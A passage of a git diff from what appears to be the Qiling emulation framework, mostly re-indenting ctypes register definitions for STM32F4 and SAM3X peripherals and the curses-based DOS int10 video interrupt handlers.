register, Address offset: 0x04 - ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 - ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C - ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 - ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 - ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 - ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C - ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 - ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 - ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C - ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 - ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 - ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 - ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C - ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 - ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 - ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C - ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 - ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 - ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 - ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C - ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 - ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 - ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C - ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 - ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 - ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C - ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 - ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 - ('PLLSAICFGR', ctypes.c_uint32), # RCC PLLSAI configuration register, Address offset: 0x88 - ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C - ] + ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 + ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 + ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 + ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C + ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 + ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 + ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 + ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C + ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 + ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 + ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C + ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 + ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 + ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 + ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C + ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 + ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 + ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C + ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 + ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 + ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 + ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C + ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 + ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 + ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C + ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 + ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 + ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C + ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 + ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 + ('PLLSAICFGR', ctypes.c_uint32), # RCC PLLSAI configuration register, Address offset: 0x88 + ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C + ] class STM32F412Rcc(STM32F4xxRcc): class Type(ctypes.Structure): """ the structure available in : - stm32f412cx.h - """ + stm32f412cx.h + """ _fields_ = [ - ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 - ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 - ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 - ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C - ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 - ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 - ('RESERVED0' , ctypes.c_uint32 * 2), # Reserved, 0x18-0x1C - ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 - ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 - ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C - ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 - ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 - ('RESERVED2' , ctypes.c_uint32 * 2), # Reserved, 0x38-0x3C - ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 - ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 - ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C - ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 - ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 - ('RESERVED4' , ctypes.c_uint32 * 2), # Reserved, 0x58-0x5C - ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 - ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 - ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C - ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 - ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 - ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C - ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 - ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 - ('RESERVED7' , ctypes.c_uint32), # Reserved, 0x88 - ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C - ('CKGATENR' , ctypes.c_uint32), # RCC Clocks Gated ENable Register, Address offset: 0x90 - ('DCKCFGR2' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register 2, Address offset: 0x94 - ] + ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 + ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 + ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 + ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C + ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 + ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 + ('RESERVED0' , ctypes.c_uint32 * 2), # Reserved, 0x18-0x1C + ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 + ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 + ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C + ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 + ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 + ('RESERVED2' , ctypes.c_uint32 * 2), # Reserved, 0x38-0x3C + ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 + ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 + ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C + ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 + ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 + ('RESERVED4' , ctypes.c_uint32 * 2), # Reserved, 0x58-0x5C + ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 + ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 + ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C + ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 + ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 + ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C + ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 + ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 + ('RESERVED7' , ctypes.c_uint32), # Reserved, 0x88 + ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C + ('CKGATENR' , ctypes.c_uint32), # RCC Clocks Gated ENable Register, Address offset: 0x90 + ('DCKCFGR2' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register 2, Address offset: 0x94 + ] diff --git a/qiling/hw/misc/stm32f4xx_syscfg.py b/qiling/hw/misc/stm32f4xx_syscfg.py index 8a63ab551..4360db2b0 100644 --- a/qiling/hw/misc/stm32f4xx_syscfg.py +++ b/qiling/hw/misc/stm32f4xx_syscfg.py @@ -10,25 +10,25 @@ class STM32F4xxSyscfg(QlPeripheral): class Type(ctypes.Structure): """ the structure available in : - stm32f407xx.h - stm32f469xx.h - stm32f427xx.h - stm32f401xc.h - stm32f415xx.h - stm32f439xx.h - stm32f417xx.h - stm32f479xx.h - stm32f429xx.h - stm32f437xx.h - stm32f401xe.h - stm32f405xx.h - stm32f411xe.h - """ + stm32f407xx.h + stm32f469xx.h + stm32f427xx.h + stm32f401xc.h + stm32f415xx.h + stm32f439xx.h + stm32f417xx.h + stm32f479xx.h + stm32f429xx.h + stm32f437xx.h + stm32f401xe.h + stm32f405xx.h + stm32f411xe.h + """ _fields_ = [ - ('MEMRMP' , ctypes.c_uint32), # SYSCFG memory remap register, Address offset: 0x00 - ('PMC' , ctypes.c_uint32), # SYSCFG peripheral mode configuration register, Address offset: 0x04 - ('EXTICR' , ctypes.c_uint32 * 4), # SYSCFG external interrupt configuration registers, Address offset: 0x08-0x14 - ('RESERVED', ctypes.c_uint32 * 2), # Reserved, 0x18-0x1C - ('CMPCR' , ctypes.c_uint32), # SYSCFG Compensation cell control register, Address offset: 0x20 - ] \ No newline at end of file + ('MEMRMP' , ctypes.c_uint32), # SYSCFG memory remap register, Address offset: 0x00 + ('PMC' , ctypes.c_uint32), # SYSCFG peripheral mode configuration register, Address offset: 0x04 + ('EXTICR' , ctypes.c_uint32 * 4), # SYSCFG external interrupt configuration registers, Address offset: 0x08-0x14 + ('RESERVED', ctypes.c_uint32 * 2), # Reserved, 0x18-0x1C + ('CMPCR' , ctypes.c_uint32), # SYSCFG Compensation cell control register, Address offset: 0x20 + ] \ No newline at end of file diff --git a/qiling/hw/power/sam3xa_pmc.py b/qiling/hw/power/sam3xa_pmc.py index b9f0d3e7c..b83e0f257 100644 --- a/qiling/hw/power/sam3xa_pmc.py +++ b/qiling/hw/power/sam3xa_pmc.py @@ -66,7 +66,7 @@ def __init__(self, ql: Qiling, label: str, intn = None): self.intn = intn @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/power/stm32f4xx_pwr.py b/qiling/hw/power/stm32f4xx_pwr.py index c00279b67..916448e03 100644 --- a/qiling/hw/power/stm32f4xx_pwr.py +++ b/qiling/hw/power/stm32f4xx_pwr.py @@ -10,49 +10,49 @@ class STM32F4xxPwr(QlPeripheral): - class Type(ctypes.Structure): - """ the structure available in : - stm32f413xx.h - stm32f407xx.h - stm32f469xx.h - stm32f446xx.h - stm32f427xx.h - stm32f401xc.h - stm32f415xx.h - stm32f412cx.h - stm32f410rx.h - stm32f410tx.h - stm32f439xx.h - stm32f412vx.h - stm32f417xx.h - stm32f479xx.h - stm32f429xx.h - stm32f412rx.h - stm32f423xx.h - stm32f437xx.h - stm32f412zx.h - stm32f401xe.h - stm32f410cx.h - stm32f405xx.h - stm32f411xe.h - """ - - _fields_ = [ - ('CR' , ctypes.c_uint32), # PWR power control register, Address offset: 0x00 - ('CSR', ctypes.c_uint32), # PWR power control/status register, Address offset: 0x04 - ] - - def __init__(self, ql: Qiling, label: str): - super().__init__(ql, label) - - self.instance = self.struct() - - @QlPeripheral.monitor() - def write(self, offset: int, size: int, value: int): - if offset == self.struct.CR.offset: - if value & PWR_CR.ODEN: - self.instance.CSR |= PWR_CSR.ODRDY - if value & PWR_CR.ODSWEN: - self.instance.CSR |= PWR_CSR.ODSWRDY - - self.raw_write(offset, size, value) \ No newline at end of file + class Type(ctypes.Structure): + """ the structure available in : + stm32f413xx.h + stm32f407xx.h + stm32f469xx.h + stm32f446xx.h + stm32f427xx.h + stm32f401xc.h + stm32f415xx.h + stm32f412cx.h + stm32f410rx.h + stm32f410tx.h + stm32f439xx.h + stm32f412vx.h + stm32f417xx.h + stm32f479xx.h + stm32f429xx.h + stm32f412rx.h + stm32f423xx.h + stm32f437xx.h + stm32f412zx.h + stm32f401xe.h + stm32f410cx.h + stm32f405xx.h + stm32f411xe.h + """ + + _fields_ = [ + ('CR' , ctypes.c_uint32), # PWR power control register, Address offset: 0x00 + ('CSR', ctypes.c_uint32), # PWR power control/status register, Address offset: 0x04 + ] + + def __init__(self, ql: Qiling, label: str): + super().__init__(ql, label) + + self.instance = self.struct() + + @QlPeripheral.monitor() + def write(self, offset: int, size: int, value: int): + if offset == self.struct.CR.offset: + if value & PWR_CR.ODEN: + self.instance.CSR |= PWR_CSR.ODRDY + if value & PWR_CR.ODSWEN: + self.instance.CSR |= PWR_CSR.ODSWRDY + + self.raw_write(offset, size, value) \ No newline at end of file diff --git a/qiling/hw/spi/stm32f4xx_spi.py b/qiling/hw/spi/stm32f4xx_spi.py index 1d47e2ff7..d2dcabab5 100644 --- a/qiling/hw/spi/stm32f4xx_spi.py +++ b/qiling/hw/spi/stm32f4xx_spi.py @@ -90,7 +90,7 @@ def write(self, offset: int, size: int, value: int): value &= SPI_CR2.RW_MASK elif offset == self.struct.CRCPR.offset: - value &= SPI_CRCPR.CRCPOLY + value &= SPI_CRCPR.CRCPOLY elif offset == self.struct.I2SCFGR.offset: value &= SPI_I2SCFGR.RW_MASK diff --git a/qiling/hw/timer/stm32f4xx_rtc.py b/qiling/hw/timer/stm32f4xx_rtc.py index 34cc91768..1c5567120 100644 --- a/qiling/hw/timer/stm32f4xx_rtc.py +++ b/qiling/hw/timer/stm32f4xx_rtc.py @@ -13,30 +13,30 @@ class STM32F4xxRtc(QlPeripheral): class Type(ctypes.Structure): """ the structure is available in : - stm32f423xx.h - stm32f469xx.h - stm32f427xx.h - stm32f479xx.h - stm32f413xx.h - stm32f429xx.h - stm32f439xx.h - stm32f415xx.h - stm32f412cx.h - stm32f412rx.h - stm32f410tx.h - stm32f410cx.h - stm32f412zx.h - stm32f405xx.h - stm32f407xx.h - stm32f417xx.h - stm32f446xx.h - stm32f401xc.h - stm32f437xx.h - stm32f401xe.h - stm32f412vx.h - stm32f410rx.h - stm32f411xe.h - """ + stm32f423xx.h + stm32f469xx.h + stm32f427xx.h + stm32f479xx.h + stm32f413xx.h + stm32f429xx.h + stm32f439xx.h + stm32f415xx.h + stm32f412cx.h + stm32f412rx.h + stm32f410tx.h + stm32f410cx.h + stm32f412zx.h + stm32f405xx.h + stm32f407xx.h + stm32f417xx.h + stm32f446xx.h + stm32f401xc.h + stm32f437xx.h + stm32f401xe.h + stm32f412vx.h + stm32f410rx.h + stm32f411xe.h + """ _fields_ = [ ('TR' , ctypes.c_uint32), # RTC time register, Address offset: 0x00 diff --git a/qiling/os/dos/interrupts/__init__.py b/qiling/os/dos/interrupts/__init__.py index e8e27c198..85a8e6c2a 100644 --- a/qiling/os/dos/interrupts/__init__.py +++ b/qiling/os/dos/interrupts/__init__.py @@ -22,14 +22,14 @@ # http://www2.ift.ulaval.ca/~marchand/ift17583/dosints.pdf handlers: Mapping[int, IntHandler] = { - 0x10: int10.handler, - 0x13: int13.handler, - 0x15: int15.handler, - 0x16: int16.handler, - 0x19: int19.handler, - 0x1a: int1a.handler, - 0x20: int20.handler, - 0x21: int21.handler + 0x10: int10.handler, + 0x13: int13.handler, + 0x15: int15.handler, + 0x16: int16.handler, + 0x19: int19.handler, + 0x1a: int1a.handler, + 0x20: int20.handler, + 0x21: int21.handler } __all__ = ['handlers'] diff --git a/qiling/os/dos/interrupts/int10.py b/qiling/os/dos/interrupts/int10.py index 9b887f0b2..7f2c07055 100644 --- a/qiling/os/dos/interrupts/int10.py +++ b/qiling/os/dos/interrupts/int10.py @@ -10,236 +10,236 @@ from qiling import Qiling COLORS_MAPPING = { - 0: curses.COLOR_BLACK, - 1: curses.COLOR_BLUE, - 2: curses.COLOR_GREEN, - 3: curses.COLOR_CYAN, - 4: curses.COLOR_RED, - 5: curses.COLOR_MAGENTA, - 6: 9, - 7: 7, - 8: 8, - 9: 6, - 10: 10, - 11: 14, - 12: 9, - 13: 13, - 14: curses.COLOR_YELLOW, - 15: curses.COLOR_WHITE + 0: curses.COLOR_BLACK, + 1: curses.COLOR_BLUE, + 2: curses.COLOR_GREEN, + 3: curses.COLOR_CYAN, + 4: curses.COLOR_RED, + 5: curses.COLOR_MAGENTA, + 6: 9, + 7: 7, + 8: 8, + 9: 6, + 10: 10, + 11: 14, + 12: 9, + 13: 13, + 14: curses.COLOR_YELLOW, + 15: curses.COLOR_WHITE } REVERSE_COLORS_MAPPING = {v : k for k, v in COLORS_MAPPING.items()} def get_attr(color_pairs: Mapping[int, Mapping[int, int]], char: int) -> int: - fg = (char & 0x0f) - bg = (char & 0xf0) >> 4 + fg = (char & 0x0f) + bg = (char & 0xf0) >> 4 - # For blinking - attr = color_pairs[fg][bg & 0b0111] + # For blinking + attr = color_pairs[fg][bg & 0b0111] - if (bg & 0b1000) != 0: - attr |= curses.A_BLINK + if (bg & 0b1000) != 0: + attr |= curses.A_BLINK - return attr + return attr def get_ch_non_blocking(scr) -> int: - scr.timeout(0) - key = scr.getch() - scr.timeout(-1) + scr.timeout(0) + key = scr.getch() + scr.timeout(-1) - return key + return key def __leaf_00(ql: Qiling): - # time to set up curses - # copied from curses.wrapper - - stdscr = curses.initscr() - curses.noecho() - curses.cbreak() - stdscr.keypad(True) - - try: - curses.start_color() - except: - pass - - al = ql.arch.regs.al - - resolution = { - 0x00 : (25, 40), - 0x01 : (25, 40), - 0x02 : (25, 80), - 0x03 : (25, 80), - 0x04 : (200, 320), - 0x05 : (200, 320), - 0x06 : (200, 640), - 0x08 : (200, 160), - 0x09 : (200, 320), - 0x0a : (200, 640), - 0x0d : (200, 320), - 0x0e : (200, 640), - 0x0f : (350, 640), - 0x10 : (350, 640), - 0x11 : (480, 640), - 0x12 : (480, 640), - 0x13 : (200, 320) - }.get(al) - - if resolution is None: - ql.log.exception(f'resolution not implemented (al: {al:#02x})') - raise NotImplementedError() - - curses.resizeterm(*resolution) - - # Quoted from https://linux.die.net/man/3/resizeterm - # - # If ncurses is configured to supply its own SIGWINCH handler, - # the resizeterm function ungetch's a KEY_RESIZE which will be - # read on the next call to getch. - ch = get_ch_non_blocking(stdscr) - - if ch == curses.KEY_RESIZE: - ql.log.info(f'terminal has been resized') - elif ch != -1: - curses.ungetch(ch) - - stdscr.scrollok(True) - - if not curses.has_colors(): - ql.log.warning(f'your terminal does not support colors, content might not be displayed correctly') - - # https://en.wikipedia.org/wiki/BIOS_color_attributes - # blink support? - if curses.has_colors(): - for fg in range(16): - for bg in range(16): - color_pair_index = 16 * fg + bg + 1 - - if fg not in ql.os.color_pairs: - ql.os.color_pairs[fg] = {} - - curses.init_pair(color_pair_index, COLORS_MAPPING[fg], COLORS_MAPPING[bg]) - color_pair = curses.color_pair(color_pair_index) - - ql.os.color_pairs[fg][bg] = color_pair - ql.os.revese_color_pairs[color_pair] = (fg, bg) - - ql.os.stdscr = stdscr + # time to set up curses + # copied from curses.wrapper + + stdscr = curses.initscr() + curses.noecho() + curses.cbreak() + stdscr.keypad(True) + + try: + curses.start_color() + except: + pass + + al = ql.arch.regs.al + + resolution = { + 0x00 : (25, 40), + 0x01 : (25, 40), + 0x02 : (25, 80), + 0x03 : (25, 80), + 0x04 : (200, 320), + 0x05 : (200, 320), + 0x06 : (200, 640), + 0x08 : (200, 160), + 0x09 : (200, 320), + 0x0a : (200, 640), + 0x0d : (200, 320), + 0x0e : (200, 640), + 0x0f : (350, 640), + 0x10 : (350, 640), + 0x11 : (480, 640), + 0x12 : (480, 640), + 0x13 : (200, 320) + }.get(al) + + if resolution is None: + ql.log.exception(f'resolution not implemented (al: {al:#02x})') + raise NotImplementedError() + + curses.resizeterm(*resolution) + + # Quoted from https://linux.die.net/man/3/resizeterm + # + # If ncurses is configured to supply its own SIGWINCH handler, + # the resizeterm function ungetch's a KEY_RESIZE which will be + # read on the next call to getch. + ch = get_ch_non_blocking(stdscr) + + if ch == curses.KEY_RESIZE: + ql.log.info(f'terminal has been resized') + elif ch != -1: + curses.ungetch(ch) + + stdscr.scrollok(True) + + if not curses.has_colors(): + ql.log.warning(f'your terminal does not support colors, content might not be displayed correctly') + + # https://en.wikipedia.org/wiki/BIOS_color_attributes + # blink support? + if curses.has_colors(): + for fg in range(16): + for bg in range(16): + color_pair_index = 16 * fg + bg + 1 + + if fg not in ql.os.color_pairs: + ql.os.color_pairs[fg] = {} + + curses.init_pair(color_pair_index, COLORS_MAPPING[fg], COLORS_MAPPING[bg]) + color_pair = curses.color_pair(color_pair_index) + + ql.os.color_pairs[fg][bg] = color_pair + ql.os.revese_color_pairs[color_pair] = (fg, bg) + + ql.os.stdscr = stdscr def __leaf_01(ql: Qiling): - # limited support - ch = ql.arch.regs.ch + # limited support + ch = ql.arch.regs.ch - if (ch & 0x20): - curses.curs_set(0) + if (ch & 0x20): + curses.curs_set(0) def __leaf_02(ql: Qiling): - # page number ignored - dh = ql.arch.regs.dh # row - dl = ql.arch.regs.dl # column + # page number ignored + dh = ql.arch.regs.dh # row + dl = ql.arch.regs.dl # column - ql.os.stdscr.move(dh, dl) + ql.os.stdscr.move(dh, dl) def __leaf_05(ql: Qiling): - # No idea how to implement, do nothing here. - ql.arch.regs.al = 0 + # No idea how to implement, do nothing here. + ql.arch.regs.al = 0 def __leaf_06(ql: Qiling): - stdscr = ql.os.stdscr + stdscr = ql.os.stdscr - al = ql.arch.regs.al # lines to scroll - ch = ql.arch.regs.ch # row of upper-left cornner - cl = ql.arch.regs.cl # column of upper-left corner - dh = ql.arch.regs.dh # row of lower right corner - dl = ql.arch.regs.dl # column of lower righ corner - bh = ql.arch.regs.bh # color + al = ql.arch.regs.al # lines to scroll + ch = ql.arch.regs.ch # row of upper-left cornner + cl = ql.arch.regs.cl # column of upper-left corner + dh = ql.arch.regs.dh # row of lower right corner + dl = ql.arch.regs.dl # column of lower righ corner + bh = ql.arch.regs.bh # color - y, x = stdscr.getmaxyx() - cy, cx = stdscr.getyx() - attr = get_attr(ql.os.color_pairs, bh) + y, x = stdscr.getmaxyx() + cy, cx = stdscr.getyx() + attr = get_attr(ql.os.color_pairs, bh) - if ch != 0 or cl != 0 or dh != y - 1 or dl != x - 1: - ql.log.warning(f'Partial scroll is unsupported. Will scroll the whole page.') - ql.log.warning(f'Resolution: {y}x{x} but asked to scroll [({ch},{cl}), ({dh}, {dl})]') + if ch != 0 or cl != 0 or dh != y - 1 or dl != x - 1: + ql.log.warning(f'Partial scroll is unsupported. Will scroll the whole page.') + ql.log.warning(f'Resolution: {y}x{x} but asked to scroll [({ch},{cl}), ({dh}, {dl})]') - if al == 0: - stdscr.clear() + if al == 0: + stdscr.clear() - # Alternate way? - #for ln in range(y): - # stdscr.addstr(ln, 0, " " * x, attr) + # Alternate way? + #for ln in range(y): + # stdscr.addstr(ln, 0, " " * x, attr) - stdscr.bkgd(" ", attr) - stdscr.move(0, 0) + stdscr.bkgd(" ", attr) + stdscr.move(0, 0) - else: - stdscr.scroll(al) - ny = 0 + else: + stdscr.scroll(al) + ny = 0 - if cy - al < 0: - ny = 0 - else: - ny = cy - al + 1 + if cy - al < 0: + ny = 0 + else: + ny = cy - al + 1 - if al > y: - al = y + if al > y: + al = y - for ln in range(al): - stdscr.addstr(ny + ln, 0, " " * x, attr) + for ln in range(al): + stdscr.addstr(ny + ln, 0, " " * x, attr) - stdscr.move(cy, cx) + stdscr.move(cy, cx) def __leaf_08(ql: Qiling): - stdscr = ql.os.stdscr + stdscr = ql.os.stdscr - if stdscr is None: - ql.arch.regs.ax = 0x0720 - else: - cy, cx = stdscr.getyx() - inch = stdscr.inch(cy, cx) - attr = inch & curses.A_COLOR - ch = inch & 0xFF - ql.arch.regs.al = ch - pair_number = curses.pair_number(attr) + if stdscr is None: + ql.arch.regs.ax = 0x0720 + else: + cy, cx = stdscr.getyx() + inch = stdscr.inch(cy, cx) + attr = inch & curses.A_COLOR + ch = inch & 0xFF + ql.arch.regs.al = ch + pair_number = curses.pair_number(attr) - fg, bg = curses.pair_content(pair_number) - orig_fg = REVERSE_COLORS_MAPPING[fg] - orig_bg = REVERSE_COLORS_MAPPING[bg] + fg, bg = curses.pair_content(pair_number) + orig_fg = REVERSE_COLORS_MAPPING[fg] + orig_bg = REVERSE_COLORS_MAPPING[bg] - if attr & curses.A_BLINK: - orig_bg |= 0b1000 + if attr & curses.A_BLINK: + orig_bg |= 0b1000 - ql.arch.regs.ah = ((orig_bg << 4) & orig_fg) + ql.arch.regs.ah = ((orig_bg << 4) & orig_fg) def __leaf_0e(ql: Qiling): - al = ql.arch.regs.al + al = ql.arch.regs.al - ql.log.debug(f'echo: {al:02x} -> {curses.ascii.unctrl(al)}') + ql.log.debug(f'echo: {al:02x} -> {curses.ascii.unctrl(al)}') - stdscr = ql.os.stdscr - cy, cx = stdscr.getyx() + stdscr = ql.os.stdscr + cy, cx = stdscr.getyx() - # https://stackoverflow.com/questions/27674158/how-to-get-color-information-with-mvinch - # https://linux.die.net/man/3/inch - # https://github.com/mirror/ncurses/blob/master/include/curses.h.in#L1197 - # wtf curses... + # https://stackoverflow.com/questions/27674158/how-to-get-color-information-with-mvinch + # https://linux.die.net/man/3/inch + # https://github.com/mirror/ncurses/blob/master/include/curses.h.in#L1197 + # wtf curses... - if al == 0xa: - y, x = stdscr.getmaxyx() + if al == 0xa: + y, x = stdscr.getmaxyx() - # \n will erase current line with echochar, so we have to handle it carefully. - ql.log.info(f"Resolution: {x}x{y}, Cursor position: {cx},{cy}, Going to get a new line.") + # \n will erase current line with echochar, so we have to handle it carefully. + ql.log.info(f"Resolution: {x}x{y}, Cursor position: {cx},{cy}, Going to get a new line.") - if (y - 1) == cy: - # scroll doesn't affect our cursor - stdscr.scroll(1) - stdscr.move(cy, 0) - else: - stdscr.move(cy + 1, 0) - else: - 